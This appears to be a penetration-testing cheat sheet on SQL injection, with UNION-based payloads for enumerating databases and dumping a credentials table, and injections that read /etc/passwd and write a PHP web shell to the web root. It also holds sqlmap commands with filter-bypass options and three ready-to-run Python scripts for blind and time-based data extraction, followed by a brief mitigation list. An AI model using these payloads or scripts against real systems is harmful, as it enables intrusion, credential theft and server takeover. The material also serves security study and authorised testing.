# SQL Injection

### Terminators

```sql
;# (MySQL)
;-- - (MySQL)
;- (Postgres)
/* (Postgres)
```

### Basic Injection Examples

Detect number of columns using order by

<pre class="language-sql"><code class="lang-sql"><strong>' order by 1;-- - 	
</strong></code></pre>

Detect number of columns using Union injection

```sql
' UNION select 1,2,3;-- -
```

Get database version

```sql
' UNION select 1,@@version,3,4;-- -
```

Get current database name

```sql
' UNION select 1,database(),2,3;-- -
```

### Database Enumeration

List all databases

{% code overflow="wrap" %}

```sql
' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA;-- - 	
```

{% endcode %}

List all tables in a specific database

{% code overflow="wrap" %}

```sql
' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev';-- -
```

{% endcode %}

List all columns in a specific table

{% code overflow="wrap" %}

```sql
' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials';-- - 
```

{% endcode %}

Dump data from a table in another database

{% code overflow="wrap" %}

```sql
' UNION select 1, username, password, 4 from dev.credentials;-- - 
```

{% endcode %}

Concat data together into 1 column

{% code overflow="wrap" %}

```sql
' UNION select 1, group_concat(username, password), 3, 4 from dev.credentials;-- - 	
```

{% endcode %}

### File Injection

Read local file

```sql
' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4;-- - 	
```

Write a string to a local file

```sql
' UNION select 'file written successfully!' into outfile '/var/www/html/proof.txt';--
```

Write a web shell into the base web directory

{% code overflow="wrap" %}

```sql
' UNION select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php';-- - 	
```

{% endcode %}

### Get Privileges

Find current user

```sql
' UNION SELECT 1, user(), 3, 4;-- - 	
```

Find if user has admin privileges

```sql
' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root";-- - 	
```

Find if all user privileges

{% code overflow="wrap" %}

```sql
' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root";-- - 	
```

{% endcode %}

Find which directories can be accessed through MySQL

{% code overflow="wrap" %}

```sql
' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv";-- - 	
```

{% endcode %}

### SQLMap

Generic SQLmap POST Request

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap 'http://www.example.com/' --data 'uid=1&name=test' 
```

{% endcode %}

POST request specifying injection point with asterisks

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap 'http://www.example.com/' --data 'uid=1*&name=test' 	
```

{% endcode %}

Copy the HTTP request (POST or GET) to req.txt and pass to SQLMAp

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap -r req.txt
```

{% endcode %}

Specifying other methods

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap -u www.target.com --data='id=1' --method <METHOD>
```

{% endcode %}

Specifying a Prefix or Suffix to the injection

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -" 
```

{% endcode %}

Changing Risk and Level parameters for more aggressive testing

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap -u www.example.com/?id=1 -v 3 --level=5 --risk=3
```

{% endcode %}

Changes the SQL queries to use different syntaxes to bypass filters

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap -u www.example.com/?id=1 -v 3 --tamper=between
```

{% endcode %}

Basic database enumeration and dumping

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap -u "http://www.example.com/?id=1" --dbs 
$ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb 	
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
```

{% endcode %}

Passing CSRF token value

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
```

{% endcode %}

If you're getting errors in characters while doing blind sql, use `--hex`

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sqlmap -u "http://www.example.com/" --dbs --hex
```

{% endcode %}

## Sample Scripts

Multi-threaded Blind SQL injection

```python
import requests                                                
import threading
import time                                               
                                                               
url = "http://url?q="

MIN = 0                                                        
                                                               
MAX = 1024                                                     
    
CHUNK_SIZE = 100

SUCCESS_STR = "Suggestions"
                                                               
def BlindarySearch(low, high, sql):
    mid = (high + low) // 2                                    
                                                               
    inj = f"a')/**/or/**/{sql}={mid}%23"
    q = url + inj

    print(q)
                                                               
    r = requests.get(q)                                        
                                                               
    if SUCCESS_STR in r.text:
        return mid                                             

    inj = f"a')/**/or/**/{sql}<{mid}%23"                       

    q = url + inj                                              

    r = requests.get(q)                                        

    if SUCCESS_STR in r.text:
        return BlindarySearch(low, mid-1, sql)
    else:                                                      
        return BlindarySearch(mid+1, high, sql)


def getLength(sql):
    ans = ''

    pos = 1

    newans = ''

    print("Finding Length...")
    length_sql = f"length(({sql}))"
    ans_len = BlindarySearch(MIN, MAX, length_sql)
    print(f"Length: {ans_len}")

    return ans_len


def chunker(seq, size):
    return (seq[pos:pos + size] for pos in range(0, len(seq), size))


def blindCompare(sql, ans_len):
    print(f"Extracting result for \"{sql}\"")

    threads = []

    for pos in range(1,ans_len+1):
        t = threading.Thread(target=getChar, args=(pos,sql))
        threads.append(t)

    print(f"Spawning {ans_len} threads")

    for thread_chunk in chunker(threads, CHUNK_SIZE):
        # Start them all
        for thread in thread_chunk:
            thread.start()
    
        # Wait for all to complete
        for thread in thread_chunk:
            thread.join()


def getChar(pos, sql):
    char_sql = f"ascii(substr(({sql}),{pos},1))"
    char = BlindarySearch(32,127,char_sql)
    global answer
    answer[pos-1] = chr(char)
    print(f"Done {pos}")


if __name__=='__main__':
    t0 = time.time()
    
    #sql = "select @@version"
    sql = "select current_user()"

    sql_nowhites = sql.replace(" ", "/**/")

    ans_len = getLength(sql_nowhites)

    answer = [0] * ans_len

    blindCompare(sql_nowhites, ans_len)

    print(''.join(answer))

    print("done!")
    t1 = time.time()
    total = t1-t0
    print(f"Total time took: {total}s")
```

Single-Threaded Blind SQL injection. You would usually use this for asynchronous interactions, such as websockets

{% code overflow="wrap" %}

```python
import time 
import socketio
                                       
sio = socketio.Client()
                                       
@sio.event                         
def message(data):                                                            
    print(data)                

@sio.event        
def emailFound(data):
    global reply
    print(data)                
    reply = data                                                              

                                       
sio.connect('http://url/socket.io/')
                                       
                                       
MIN = 0

MAX = 500             
                                                                              
SUCCESS_STR = True                                                            
                                       
reply = False

def Emittor(inj):       
    print(f"querying {inj}")
    sio.emit("checkEmail",{"email":inj,"token":"eUFeekMC4dTqKgppw5HjFPQZ1t7JuuMN"})
    time.sleep(0.5)                                                                                                                                          
                                                                                                                                                             
                                                                                                                                                             
def BlindarySearch(low, high, sql):                                           
    mid = (high + low) // 2                                                                                                                                  
                                                                              
    inj = f"bb@gmail.com' or {sql}={mid};-- - "
                                       
    Emittor(inj)
                                       
    if SUCCESS_STR == reply:
        return mid
                                       
    inj = f"bb@gmail.com' or {sql}<{mid};-- - "
                                                                              
    Emittor(inj)               

    if SUCCESS_STR == reply:
        return BlindarySearch(low, mid-1, sql)
    else:
        return BlindarySearch(mid+1, high, sql)

def getLength(sql):
    ans = ''

    pos = 1

    newans = ''

    print("Finding Length...")
    length_sql = f"length(({sql}))"
    ans_len = BlindarySearch(MIN, MAX, length_sql)
    print(f"Length: {ans_len}")

    return ans_len


def blindCompare(sql, ans_len):
    print(f"Extracting result for \"{sql}\"")

    answer = ""

    for pos in range(ans_len):
        answer += getChar(pos+1,sql)
        print(answer)


def getChar(pos, sql):
    char_sql = f"ascii(substr(({sql}),{pos},1))"
    char = BlindarySearch(32,127,char_sql)
    return chr(char)


if __name__=='__main__':
    t0 = time.time()

    sql = "SELECT group_concat(column_name) as f FROM INFORMATION_SCHEMA.COLUMNS where table_name='Users'"
  

    ans_len = getLength(sql)

    blindCompare(sql, ans_len)

    print("done!")
    t1 = time.time()
    total = t1-t0
    print(f"Total time took: {total}s")
```

{% endcode %}

Sleep Injection with Postgres

{% code overflow="wrap" %}

```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SLEEP = 5

url = "https://url?userId=1;"

payload = "SELECT version()"

inj = "SELECT CASE WHEN(ASCII(SUBSTR(("+payload+"),^_POS_^,1))=^_ASCII_^) THEN pg_sleep(^_SLEEP_^) END;"

def convert(inj):
    
    inj = inj.replace(" ", "+")
    inj = inj.replace("'", "$$")

    conv_inj = inj + "--+"

    return conv_inj
   
def time_query(url, conv_inj_replaced):
    # get base line time for normal query
    print("Doing base query")
    r1 = requests.get(url, verify=False)
    base_elapsed = r1.elapsed.total_seconds()

    # get delayed time for injected query
    print("Doing delayed query")
    delay_query = url+conv_inj_replaced 

    r2 = requests.get(delay_query, verify=False)

    delay_elapsed = r2.elapsed.total_seconds()

    # checking difference == SLEEP

    delta = delay_elapsed - base_elapsed

    if round(delta) >= SLEEP:
        return True
    else:
        return False

def iterator_query(url, conv_inj):
    answer = ""
    # 100 = length of output
    # ascii chars from 33 to 126
    for pos in range(1,100):
        for char in range(33,127):
            conv_inj_replaced = conv_inj.replace('^_POS_^', str(pos))
            conv_inj_replaced = conv_inj_replaced .replace('^_ASCII_^', str(char))
            conv_inj_replaced = conv_inj_replaced .replace('^_SLEEP_^', str(SLEEP))

            print(conv_inj_replaced)

            if (time_query(url, conv_inj_replaced)):
                print("found!")
                answer += chr(char)
                print(answer)
                break
            

if __name__=='__main__':
    conv_inj = convert(inj)
    
    iterator_query(url, conv_inj)
```

{% endcode %}

### Mitigation

* Input Sanitization on Front-end, Back-end
* Input Validation on Front-end, Back-end
* Proper MySQL user Privileges
  * Don't grant privileges on all tables
  * Don't run as root
* WAF to detect and block attacks
* Parameterized SQL Queries to prevent user input injection


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sheepwall.gitbook.io/home/hacking/exploitation/sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
